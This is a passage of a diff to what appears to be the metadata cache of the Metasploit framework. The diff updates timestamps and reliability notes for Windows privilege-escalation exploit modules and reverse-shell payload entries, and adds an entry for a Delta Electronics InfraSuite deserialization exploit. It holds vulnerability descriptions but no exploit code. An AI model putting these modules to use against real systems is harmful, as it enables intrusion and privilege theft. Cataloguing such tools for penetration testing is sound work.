"2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_vbs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_vbs", @@ -157159,7 +158389,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_filesys", @@ -157209,7 +158439,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-12-12 16:53:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_reg", @@ -157308,7 +158538,7 @@ "targets": [ "Windows x64 (<= 10)" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/capcom_sys_exec.rb", "is_install_path": true, "ref_name": "windows/local/capcom_sys_exec", @@ -157357,7 +158587,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/comahawk.rb", "is_install_path": true, "ref_name": "windows/local/comahawk", @@ -157507,7 +158737,7 @@ "targets": [ "Windows 10 v1703 (Build 15063) x86" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb", "is_install_path": true, "ref_name": "windows/local/cve_2018_8453_win32k_priv_esc", @@ -157562,7 +158792,7 @@ "targets": [ "Windows 7 x64" ], - "mod_time": "2022-12-05 10:30:53 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb", "is_install_path": true, "ref_name": "windows/local/cve_2019_1458_wizardopium", @@ -157620,7 +158850,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0668_service_tracing", @@ -157678,7 +158908,7 @@ "targets": [ "Windows DLL Dropper" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0787_bits_arbitrary_file_move", @@ -157733,7 +158963,7 @@ "targets": [ "Windows 10 v1903-1909 x64" ], - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0796_smbghost.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0796_smbghost", @@ -157795,7 +159025,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1048_printerdemon", @@ -157803,6 +159033,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] }, "session_types": [ "meterpreter" @@ -157845,7 +159085,7 @@ "targets": [ "Windows 7 x64" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1054_drawiconex_lpe", @@ -157898,7 +159138,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1313_system_orchestrator", @@ -157957,7 +159197,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1337_printerdemon", @@ -158012,7 +159252,7 @@ "targets": [ "Windows DLL Dropper" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_17136.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_17136", @@ -158067,7 +159307,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb", "is_install_path": true, "ref_name": "windows/local/cve_2021_21551_dbutil_memmove", @@ -158080,6 +159320,9 @@ ], "Reliability": [ "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" ] }, "session_types": [ @@ -158125,7 +159368,7 @@ "targets": [ "Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)" ], - "mod_time": "2021-11-08 16:12:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2021_40449.rb", "is_install_path": true, "ref_name": "windows/local/cve_2021_40449", @@ -158194,7 +159437,7 @@ "targets": [ "Windows 10 v1803-21H2 x64" ], - "mod_time": "2022-02-24 11:24:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_21882_win32k.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_21882_win32k", @@ -158247,7 +159490,7 @@ "targets": [ "Auto" ], - "mod_time": "2022-03-15 16:45:36 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_21999_spoolfool_privesc", @@ -158305,7 +159548,7 @@ "targets": [ "Windows 11" ], - "mod_time": "2022-04-07 10:48:08 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_26904_superprofile.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_26904_superprofile", @@ -158471,7 +159714,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb", "is_install_path": true, "ref_name": "windows/local/dnsadmin_serverlevelplugindll", @@ -158734,7 +159977,7 @@ "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ipass_launch_app.rb", "is_install_path": true, "ref_name": "windows/local/ipass_launch_app", @@ -158780,7 +160023,7 @@ "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/lenovo_systemupdate.rb", "is_install_path": true, "ref_name": "windows/local/lenovo_systemupdate", @@ -158933,7 +160176,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/mov_ss.rb", "is_install_path": true, "ref_name": "windows/local/mov_ss", @@ -158978,7 +160221,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/mqac_write.rb", "is_install_path": true, "ref_name": "windows/local/mqac_write", @@ -159010,7 +160253,7 @@ "Pusscat", "OJ Reeves" ], - "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.", + "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.", "references": [ "CVE-2010-0232", "OSVDB-61854", @@ -159030,7 +160273,7 @@ "targets": [ "Windows 2K SP4 - Windows 7 (x86)" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms10_015_kitrap0d.rb", "is_install_path": true, "ref_name": "windows/local/ms10_015_kitrap0d", @@ -159136,7 +160379,7 @@ "Windows XP SP2 / SP3", "Windows Server 2003 SP2" ], - "mod_time": "2022-12-05 10:30:53 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb", "is_install_path": true, "ref_name": "windows/local/ms11_080_afdjoinleaf", @@ -159241,7 +160484,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms13_053_schlamperei.rb", "is_install_path": true, "ref_name": "windows/local/ms13_053_schlamperei", @@ -159270,7 +160513,7 @@ "Matias Soler", "Spencer McIntyre" ], - "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.", + "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.", "references": [ "CVE-2013-3881", "OSVDB-98212", @@ -159291,7 +160534,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms13_081_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms13_081_track_popup_menu", @@ -159415,7 +160658,7 @@ "Spencer McIntyre", "OJ Reeves " ], - "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.", + "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.", "references": [ "CVE-2014-4113", "OSVDB-113167", @@ -159436,7 +160679,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms14_058_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms14_058_track_popup_menu", @@ -159532,7 +160775,7 @@ "targets": [ "Protected Mode (Windows 7) / 32 bits" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_004_tswbproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms15_004_tswbproxy", @@ -159561,7 +160804,7 @@ "OJ Reeves", "Spencer McIntyre" ], - "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.", + "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.", "references": [ "CVE-2015-1701", "MSB-MS15-051", @@ -159582,7 +160825,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_051_client_copy_image.rb", "is_install_path": true, "ref_name": "windows/local/ms15_051_client_copy_image", @@ -159637,7 +160880,7 @@ "targets": [ "Windows 8.1 x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_078_atmfd_bof.rb", "is_install_path": true, "ref_name": "windows/local/ms15_078_atmfd_bof", @@ -159665,7 +160908,7 @@ "de7ec7ed", "de7ec7ed" ], - "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.", + "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.", "references": [ "CVE-2016-0040", "MSB-MS16-014", @@ -159685,7 +160928,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb", "is_install_path": true, "ref_name": "windows/local/ms16_014_wmi_recv_notif", @@ -159777,7 +161020,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ms16_032_secondary_logon_handle_privesc", @@ -159889,7 +161132,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb", "is_install_path": true, "ref_name": "windows/local/ms16_075_reflection_juicy", @@ -159941,7 +161184,7 @@ "Windows 7 x64", "Windows 7 x86" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ms18_8120_win32k_privesc", @@ -159997,7 +161240,7 @@ "Windows XP SP3", "Windows Server 2003 SP2" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms_ndproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms_ndproxy", @@ -160044,7 +161287,7 @@ "Automatic", "Windows 7 SP1" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/novell_client_nicm.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nicm", @@ -160090,7 +161333,7 @@ "Automatic", "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/novell_client_nwfs.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nwfs", @@ -160181,7 +161424,7 @@ "James Forshaw", "sinn3r " ], - "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).", + "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).", "references": [ "MSB-MS15-001", "CVE-2015-0002", @@ -160201,7 +161444,7 @@ "targets": [ "Windows 8 / Windows 8.1 (x86 and x64)" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ntapphelpcachecontrol.rb", "is_install_path": true, "ref_name": "windows/local/ntapphelpcachecontrol", @@ -160258,7 +161501,7 @@ "targets": [ "Windows 7 x86" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ntusermndragover.rb", "is_install_path": true, "ref_name": "windows/local/ntusermndragover", @@ -160312,7 +161555,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/nvidia_nvsvc.rb", "is_install_path": true, "ref_name": "windows/local/nvidia_nvsvc", @@ -160339,7 +161582,7 @@ "h00die ", "Security-Assessment.com" ], - "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", + "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", "references": [ ], @@ -160356,7 +161599,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/panda_psevents.rb", "is_install_path": true, "ref_name": "windows/local/panda_psevents", @@ -160718,7 +161961,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ppr_flatten_rec.rb", "is_install_path": true, "ref_name": "windows/local/ppr_flatten_rec", @@ -161079,7 +162322,7 @@ "targets": [ "Windows" ], - "mod_time": "2022-12-09 11:24:16 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/s4u_persistence.rb", "is_install_path": true, "ref_name": "windows/local/s4u_persistence", @@ -161165,7 +162408,7 @@ "targets": [ "Windows Server 2012 (x64)" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/srclient_dll_hijacking.rb", "is_install_path": true, "ref_name": "windows/local/srclient_dll_hijacking", @@ -161180,6 +162423,9 @@ "artifacts-on-disk", "ioc-in-logs", "screen-effects" + ], + "Reliability": [ + ] }, "session_types": [ @@ -161221,7 +162467,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/tokenmagic.rb", "is_install_path": true, "ref_name": "windows/local/tokenmagic", @@ -161330,7 +162576,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/virtual_box_guest_additions.rb", "is_install_path": true, "ref_name": "windows/local/virtual_box_guest_additions", @@ -163380,6 +164626,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/misc/delta_electronics_infrasuite_deserialization": { + "name": "Delta Electronics InfraSuite Device Master Deserialization", + "fullname": "exploit/windows/misc/delta_electronics_infrasuite_deserialization", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-05-17", + "type": "exploit", + "author": [ + "Anonymous", + "Shelby Pace" + ], + "description": "Delta Electronics InfraSuite Device Master versions below v1.0.5 have an\n unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'\n method of the 'Device-Gateway-Status' process.\n\n The 'ParseUDPPacket()' method reads user-controlled packet data and eventually\n calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,\n leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.", + "references": [ + "CVE-2023-1133", + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-672/", + "URL-https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133" + ], + "platform": "Windows", + "arch": "cmd, x86, x64", + "rport": 10100, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows EXE Dropper", + "Windows CMD" + ], + "mod_time": "2023-06-07 16:42:01 +0000", + "path": "/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb", + "is_install_path": true, + "ref_name": "windows/misc/delta_electronics_infrasuite_deserialization", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs", + "screen-effects" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/misc/disk_savvy_adm": { "name": "Disk Savvy Enterprise v10.4.18", "fullname": "exploit/windows/misc/disk_savvy_adm", @@ -174768,7 +176078,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_find_port": { "name": "AIX Command Shell, Find Port Inline", @@ -174802,7 +176114,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_interact": { "name": "AIX execve Shell for inetd", @@ -174836,7 +176150,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_reverse_tcp": { "name": "AIX Command Shell, Reverse TCP Inline", @@ -174870,7 +176186,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter/reverse_http": { "name": "Android Meterpreter, Android Reverse HTTP Stager", @@ -174907,7 +176225,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_http" }, "payload_android/meterpreter/reverse_https": { "name": "Android Meterpreter, Android Reverse HTTPS Stager", @@ -174944,7 +176266,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_https" }, "payload_android/meterpreter/reverse_tcp": { "name": "Android Meterpreter, Android Reverse TCP Stager", @@ -174980,7 +176306,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_tcp" }, "payload_android/meterpreter_reverse_http": { "name": "Android Meterpreter Shell, Reverse HTTP Inline", @@ -175014,7 +176344,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter_reverse_https": { "name": "Android Meterpreter Shell, Reverse HTTPS Inline", @@ -175048,7 +176380,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter_reverse_tcp": { "name": "Android Meterpreter Shell, Reverse TCP Inline", @@ -175082,7 +176416,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/shell/reverse_http": { "name": "Command Shell, Android Reverse HTTP Stager", @@ -175119,7 +176455,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_http" }, "payload_android/shell/reverse_https": { "name": "Command Shell, Android Reverse HTTPS Stager", @@ -175156,7 +176496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_https" }, "payload_android/shell/reverse_tcp": { "name": "Command Shell, Android Reverse TCP Stager", @@ -175191,7 +176535,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_tcp" }, "payload_apple_ios/aarch64/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", @@ -175227,7 +176575,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", @@ -175263,7 +176613,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", @@ -175299,7 +176651,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/shell_reverse_tcp": { "name": "Apple iOS aarch64 Command Shell, Reverse TCP Inline", @@ -175333,7 +176687,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", @@ -175369,7 +176725,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", @@ -175405,7 +176763,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", @@ -175441,7 +176801,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/sparc/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", @@ -175475,7 +176837,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/sparc/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -175509,7 +176873,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/vax/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -175543,7 +176909,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/exec": { "name": "BSD x64 Execute Command", @@ -175577,7 +176945,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_ipv6_tcp": { "name": "BSD x64 Command Shell, Bind TCP Inline (IPv6)", @@ -175611,7 +176981,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_tcp": { "name": "BSD x64 Shell Bind TCP", @@ -175646,7 +177018,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_tcp_small": { "name": "BSD x64 Command Shell, Bind TCP Inline", @@ -175680,7 +177054,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_reverse_ipv6_tcp": { "name": "BSD x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -175714,7 +177090,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_reverse_tcp": { "name": "BSD x64 Shell Reverse TCP", @@ -175749,7 +177127,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 